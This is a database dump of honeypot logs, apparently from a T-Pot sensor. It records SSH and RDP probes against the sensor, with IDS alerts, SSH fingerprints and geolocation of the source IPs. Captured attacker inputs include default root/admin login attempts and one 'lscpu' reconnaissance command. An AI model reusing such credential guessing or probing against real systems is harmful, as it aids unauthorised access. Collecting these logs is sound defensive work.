\N	\N
20576	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:04:44.709797+03	2021-09-20 14:15:02.545643+03	{"_id": "yAXhAnwBvYTbRNuEMPmI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.49.38.1635253109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "flow_id": 1840762497833573, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 62537, "dest_port": 22, "timestamp": "2021-09-20T11:04:44.709797Z", "@timestamp": "2021-09-20T11:04:44.709Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20577	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:04:44.537686+03	2021-09-20 14:15:02.546642+03	{"_id": "zQXhAnwBvYTbRNuEMfmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.20.123.149:62537 (192.168.176.2:22) [session: 3609db8031fe]", "session": "3609db8031fe", "@version": "1", "protocol": "ssh", "src_port": 62537, "dest_port": 22, "timestamp": "2021-09-20T11:04:44.537686Z", "@timestamp": "2021-09-20T11:04:44.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20578	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:44.541566+03	2021-09-20 14:15:02.547643+03	{"_id": "0QXhAnwBvYTbRNuEMfmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.20.123.149", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 62537, "timestamp": "2021-09-20T11:04:44.541566", "@timestamp": "2021-09-20T11:04:44.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20579	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:04:44.540659+03	2021-09-20 14:15:02.549613+03	{"_id": "0gXhAnwBvYTbRNuEMfmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.49.38.1635253109.199.241.180'", "session": "3609db8031fe", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.49.38.1635253109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:04:44.540659Z", "@timestamp": "2021-09-20T11:04:44.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20580	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:04:45.070022+03	2021-09-20 14:15:02.550614+03	{"_id": "0wXhAnwBvYTbRNuENfk_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "3609db8031fe", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:04:45.070022Z", "@timestamp": "2021-09-20T11:04:45.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20581	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:04:31.846245+03	2021-09-20 14:15:02.551643+03	{"_id": "vQXhAnwBvYTbRNuEAfmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.498910+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 788985135733982, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60548, "dest_port": 3389, "timestamp": "2021-09-20T11:04:31.846245Z", "@timestamp": "2021-09-20T11:04:31.846Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20582	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:32.457175+03	2021-09-20 14:15:02.552645+03	{"_id": "wAXhAnwBvYTbRNuEAvlz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:32.457175Z", "@timestamp": "2021-09-20T11:04:32.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20583	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:32.456634+03	2021-09-20 14:15:02.555612+03	{"_id": "wwXhAnwBvYTbRNuEAvlz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:32.456634Z", "@timestamp": "2021-09-20T11:04:32.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20584	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:04:31.846245+03	2021-09-20 14:15:02.556642+03	{"_id": "vAXhAnwBvYTbRNuEAfmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.498910+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 788985135733982, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60548, "dest_port": 3389, "timestamp": "2021-09-20T11:04:31.846245Z", "@timestamp": "2021-09-20T11:04:31.846Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20585	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:04:32.201012+03	2021-09-20 14:15:02.557615+03	{"_id": "vgXhAnwBvYTbRNuEAfmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.498910+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 788985135733982, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60548, "dest_port": 3389, "timestamp": "2021-09-20T11:04:32.201012Z", "@timestamp": "2021-09-20T11:04:32.201Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20586	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:32.537684+03	2021-09-20 14:15:02.559613+03	{"_id": "vwXhAnwBvYTbRNuEAvly", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 11 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 11.44993281364441, "timestamp": "2021-09-20T11:04:32.537684Z", "@timestamp": "2021-09-20T11:04:32.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20587	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:04:46.42082+03	2021-09-20 14:15:02.560613+03	{"_id": "1QXhAnwBvYTbRNuEOfko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "3609db8031fe", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:04:46.420820Z", "@timestamp": "2021-09-20T11:04:46.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20588	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:04:47.592303+03	2021-09-20 14:15:02.561613+03	{"_id": "1wXhAnwBvYTbRNuEPfkP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3609db8031fe", "@version": "1", "duration": 3.0520241260528564, "timestamp": "2021-09-20T11:04:47.592303Z", "@timestamp": "2021-09-20T11:04:47.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20589	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:04:48.624762+03	2021-09-20 14:15:02.563613+03	{"_id": "2gXhAnwBvYTbRNuEQPko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 3912, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 461934114670714, "@version": "1", "in_iface": "enp5s0", "src_port": 56940, "dest_port": 53, "timestamp": "2021-09-20T11:04:48.624762Z", "@timestamp": "2021-09-20T11:04:48.624Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20590	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:04:48.236266+03	2021-09-20 14:15:02.564613+03	{"_id": "2QXhAnwBvYTbRNuEQPko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 17813, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1670494962096874, "@version": "1", "in_iface": "enp5s0", "src_port": 57522, "dest_port": 53, "timestamp": "2021-09-20T11:04:48.236266Z", "@timestamp": "2021-09-20T11:04:48.236Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20591	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:04:57.686651+03	2021-09-20 14:15:02.566612+03	{"_id": "BAXhAnwBvYTbRNuEY_pU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "flow_id": 1693634098892351, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53513, "dest_port": 22, "timestamp": "2021-09-20T11:04:57.686651Z", "@timestamp": "2021-09-20T11:04:57.686Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20592	42.63.158.253	109.199.241.180	Fatt	2021-09-20 14:04:57.686794+03	2021-09-20 14:15:02.567612+03	{"_id": "BQXhAnwBvYTbRNuEY_rs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53513, "dest_port": 22, "timestamp": "2021-09-20T11:04:57.686794", "@timestamp": "2021-09-20T11:04:57.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20593	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:57.339193+03	2021-09-20 14:15:02.568613+03	{"_id": "BgXhAnwBvYTbRNuEZPok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "bf4c337235b6", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:04:57.339193Z", "@timestamp": "2021-09-20T11:04:57.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20594	68.168.141.140	109.199.241.180	Suricata	2021-09-20 14:05:00.727963+03	2021-09-20 14:15:02.569612+03	{"_id": "EgXhAnwBvYTbRNuEb_oO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:05:00.324253+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "68.168.141.140", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1748744972071581, "payload": "AAADzAYUhuQNVwAL30hUH6sqsNPBUQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAA